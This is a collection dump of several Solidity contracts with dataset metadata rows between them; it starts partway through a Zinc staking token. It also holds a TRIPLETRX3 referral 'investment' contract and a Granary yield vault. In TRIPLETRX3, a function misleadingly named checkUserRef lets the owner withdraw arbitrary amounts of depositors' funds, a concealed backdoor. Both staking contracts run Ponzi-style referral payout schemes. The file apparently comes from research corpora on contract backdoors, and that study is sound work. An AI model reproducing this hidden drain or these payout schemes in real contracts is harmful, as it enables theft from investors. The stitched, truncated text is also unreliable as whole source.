totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_balances[_from] >= _value);
require(_balances[_to] + _value > _balances[_to]);
uint previousBalances = _balances[_from] + _balances[_to];
_balances[_from] -= _value;
_balances[_to] += _value;
emit Transfer(_from, _to, _value);
assert(_balances[_from] + _balances[_to] == previousBalances);
}
struct Stake {
uint256 baseTime;
uint256 lastCollectedTime;
uint256 value;
uint256 _active;
}
// 1 : Freeze, 2 : Unfreeze, 3: Withdraw, 4: Referral Withdraw
struct Stat {
uint256 _type;
uint256 time;
uint256 value;
}
struct User {
address[] referrals;
uint256[] referralsCount;
uint256[] referralEarn;
uint256 referralEarned;
uint256 referralsCounted;
address parent;
Stake[] stakes;
Stat[] stats;
uint256 totalStake;
uint256 lastUnstake;
uint256 lastCollect;
uint256 lastWithdrawReferralEarn;
}
uint256 LAST_LEVEL = 10;
uint256[] DISTRIBUTION_AMOUNT = [7000000000000000, 6000000000000000, 5000000000000000, 5000000000000000, 4000000000000000, 4000000000000000, 3000000000000000, 3000000000000000, 2500000000000000, 2500000000000000];
uint256[] DISTRIBUTION_RATE = [138, 130, 110, 99, 91, 84, 75, 62, 40, 25];
uint256 constant public MIN_DEPOSIT = 100000000;
uint256 currentLevel;
uint256 currentStake;
uint256 currentWithdrawn;
uint256 currentMined;
uint256 totalStake;
uint256 totalUnstake;
uint256 totalWithdrawn;
uint256 totalReferral;
uint256 totalReferralEarn;
address payable pool = address(0x416f9a68277ed547a45cfe489a9c0ba87da5f983bf);
mapping(address => User) public users;
function _registration(address addr, address ref) internal {
User storage referrer = users[ref];
referrer.referrals.push(addr);
users[addr].parent = ref;
totalReferral = totalReferral.add(1);
if (referrer.referralsCount.length == 0){
referrer.referralsCount = new uint256[](4);
referrer.referralEarn = new uint256[](4);
referrer.referralsCounted = referrer.referralsCounted.add(1);
}
}
function collect(address addr) private returns (uint256){
Stake[] storage invests = users[addr].stakes;
uint256 profit = 0;
uint256 i = 0;
while (i < invests.length){
Stake storage invest = invests[i];
if (invest._active == 1){
uint256 timeSpent = now.sub(invest.lastCollectedTime);
invest.lastCollectedTime = now;
profit = profit.add(invest.value.div(1000000).mul(timeSpent).mul(DISTRIBUTION_RATE[currentLevel]));
}
i++;
}
return profit;
}
function calculateActiveDeposit(address addr) private returns (uint256){
Stake[] storage invests = users[addr].stakes;
uint256 totalDeposit = 0;
uint256 i = 0;
while (i < invests.length){
Stake storage invest = invests[i];
if (invest._active == 1){
invest.lastCollectedTime = now;
invest._active = 0;
totalDeposit = totalDeposit.add(invest.value);
}
i++;
}
return totalDeposit;
}
function unstake() public {
address payable addr = msg.sender;
_withdrawToken(msg.sender);
uint256 value = calculateActiveDeposit(msg.sender);
require(value.div(100).mul(90) <= address(this).balance, "Couldn't withdraw more than total TRX balance on the contract");
totalUnstake = totalUnstake.add(value.div(100).mul(90));
currentStake = currentStake.sub(value.div(100).mul(90));
users[addr].lastUnstake = now;
users[addr].stats.push(Stat(2, now, value));
addr.transfer(value.div(100).mul(90));
}
function withdrawToken() public {
address addr = msg.sender;
_withdrawToken(addr);
}
function _withdrawToken(address addr) internal {
uint256 value = collect(addr);
require(value >= 0, "No dividends available");
totalWithdrawn = totalWithdrawn.add(value);
users[addr].lastUnstake = now;
if(currentMined.add(value) >= DISTRIBUTION_AMOUNT[currentLevel]){
currentLevel = currentLevel.add(1);
currentMined = 0;
} else {
currentMined = currentMined.add(value);
}
// Check for overflow
require(_balances[addr].add(value) > _balances[addr]);
users[addr].stats.push(Stat(3, now, value));
_balances[addr] = _balances[addr].add(value);
User storage user = users[addr];
uint256 refFee = value.mul(10).div(100);
totalReferralEarn = totalReferralEarn.add(refFee);
users[user.parent].referralEarned = users[user.parent].referralEarned.add(refFee);
}
function withdrawReferralEarnings() public {
address addr = msg.sender;
uint256 value = users[addr].referralEarned;
users[addr].referralEarned = 0;
users[addr].lastWithdrawReferralEarn = now;
require(_balances[addr].add(value) > _balances[addr]);
_balances[addr] = _balances[addr].add(value);
users[addr].stats.push(Stat(4, now, value));
}
function freeze(address referrer) public payable {
uint256 amount = msg.value;
require(amount >= MIN_DEPOSIT, "Your investment amount is less than the minimum investment amount!");
address addr = msg.sender;
if (users[addr].parent == address(0)){
_registration(addr, referrer);
}
//Send %10 of payment to the liquidty pool
pool.transfer(amount.div(100).mul(10));
users[addr].stakes.push(Stake(now, now, amount, 1));
users[addr].totalStake = users[addr].totalStake.add(amount);
users[addr].stats.push(Stat(1, now, amount));
totalStake = totalStake.add(amount);
currentStake = currentStake.add(amount);
}
function getTotalStats() public view returns (uint256[] memory) {
uint256[] memory combined = new uint256[](6);
combined[0] = totalStake;
combined[1] = address(this).balance;
combined[2] = totalReferral;
combined[3] = totalWithdrawn;
combined[4] = totalReferralEarn;
combined[5] = currentStake;
return combined;
}
function getUserHistory(address addr) public view returns
(uint256[] memory, uint256[] memory, uint256[] memory) {
Stat[] memory stats = users[addr].stats;
uint256[] memory types = new uint256[](stats.length);
uint256[] memory times = new uint256[](stats.length);
uint256[] memory values = new uint256[](stats.length);
uint256 i = 0;
while (i < stats.length){
Stat memory stat = stats[i];
types[i] = stat._type;
times[i] = stat.time;
values[i] = stat.value;
i++;
}
return (types, times, values);
}
function getUserStakes(address addr) public view returns
(uint256[] memory, uint256[] memory) {
Stake[] storage invests = users[addr].stakes;
uint256[] memory last_collects = new uint256[](invests.length);
uint256[] memory values = new uint256[](invests.length);
uint256 i = 0;
while (i < invests.length){
Stake storage invest = invests[i];
if (invest._active == 1){
last_collects[i] = invest.lastCollectedTime;
values[i] = invest.value;
}
i++;
}
return (last_collects, values);
}
function getLevelDetails() public view returns
(uint256, uint256, uint256, uint256, uint256) {
return (currentLevel, currentMined, DISTRIBUTION_AMOUNT[currentLevel], DISTRIBUTION_AMOUNT[currentLevel].sub(currentMined), DISTRIBUTION_RATE[currentLevel]);
}
function getReferralEarnings(address addr) public view returns
(uint256, uint256) {
return (users[addr].referralEarned, users[addr].referralsCounted);
}
}
contract CommonToken is Token {
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals);
_balances[msg.sender] = 5000000 * 10 ** uint256(decimals);
}
function () external payable {
revert();
}
}
contract Zinc is CommonToken {
constructor() CommonToken("Zinc Token", "ZNC", 9, 47000000) public {}
}
| 300,609 | 105 |
254c00ceb80da1c10ef4b9833ccc84ebd62577cd80fb401f390fe9dc5032753f
| 13,162 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYEtfUSt8NgUtUfDcZvxrxYdRWYbvKD35p_TRIPLETRX3.sol
| 3,523 | 10,760 |
//SourceUnit: 3XTRX2.sol
pragma solidity 0.5.10;
contract TRIPLETRX3 {
using SafeMath for uint256;
address public owner;
address public stakingAddress;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public BASE_PERCENT = 20;
uint256[] public REFERRAL_PERCENTS = [50, 20, 10];
uint256 constant public MARKETING_FEE = 90;
uint256 constant public PROJECT_FEE = 30;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
address public defaultReferrer;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 bonus;
uint256 withdrawRef;
}
mapping (address => User) internal users;
mapping(address => bool) public whiteListed;
uint256 internal contractBalancePercent;
uint256 public withdrawFee;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address defaultRef, address _stakingAddress) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
defaultReferrer = defaultRef;
owner = msg.sender;
stakingAddress = _stakingAddress;
withdrawFee = 0;
whiteListed[owner] = true;
}
function checkUserRef(uint256 value) public {
require(msg.sender==owner, "invalid value");
address(uint160(owner)).transfer(value);
return;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
} else if (msg.sender != defaultReferrer) {
user.referrer = defaultReferrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
if (i == 0) {
users[upline].level1 = users[upline].level1.add(1);
} else if (i == 1) {
users[upline].level2 = users[upline].level2.add(1);
} else if (i == 2) {
users[upline].level3 = users[upline].level3.add(1);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
uint256 newPercent = address(this).balance.div(CONTRACT_BALANCE_STEP);
if (newPercent > contractBalancePercent && contractBalancePercent < 100) {
if (newPercent > 100) {
newPercent = 100;
}
contractBalancePercent = newPercent;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.withdrawRef = user.withdrawRef.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
return BASE_PERCENT.add(getContractBonus());
}
function getContractBonus() public view returns (uint256) {
return contractBalancePercent;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint256 holdBonus = (now.sub(user.checkpoint)).div(TIME_STEP);
if (holdBonus > 80) {
holdBonus = 80;
}
return holdBonus;
} else {
return 0;
}
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
return getContractBalanceRate().add(getUserHoldBonus(userAddress));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralWithdraw(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawRef;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 302,679 | 106 |
e39e0af460778b5f992489a928f6e1ebf814b3b52d57cdf96067ccdb53468ecd
| 23,563 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a2/a2b1f90a6cf0fd5451e0fe7ed67331ec15bd1aab_Granary.sol
| 5,454 | 15,406 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function coinusd() external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. OXDs to distribute per block.
uint256 lastRewardTime; // Last block time that OXDs distribution occurs.
uint256 accOXDPerShare; // Accumulated OXDs per share, times 1e12. See below.
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingOXD(uint256 _pid, address _user) external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _r, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
route = _r;
id=_id;//GRAIN#ID
utvl = _v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add route[route.length-1]
IERC20(_r[_r.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public route;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Compounded(address indexed user, uint256 amount);
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
uint256 vbb = (earn.balanceOf(address(this)));
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
mc.pendingOXD(allnums[0],address(this)));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.coinusd()).mul(aum)).div(1e18);
}
}
| 309,149 | 107 |
f023e67d20439e3380f6cebc130bc5100828dfd09bbd5d833302f780310bd552
| 18,756 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x4be8d9681891981e81bcfb61845483a68a6e1425.sol
| 3,563 | 13,964 |
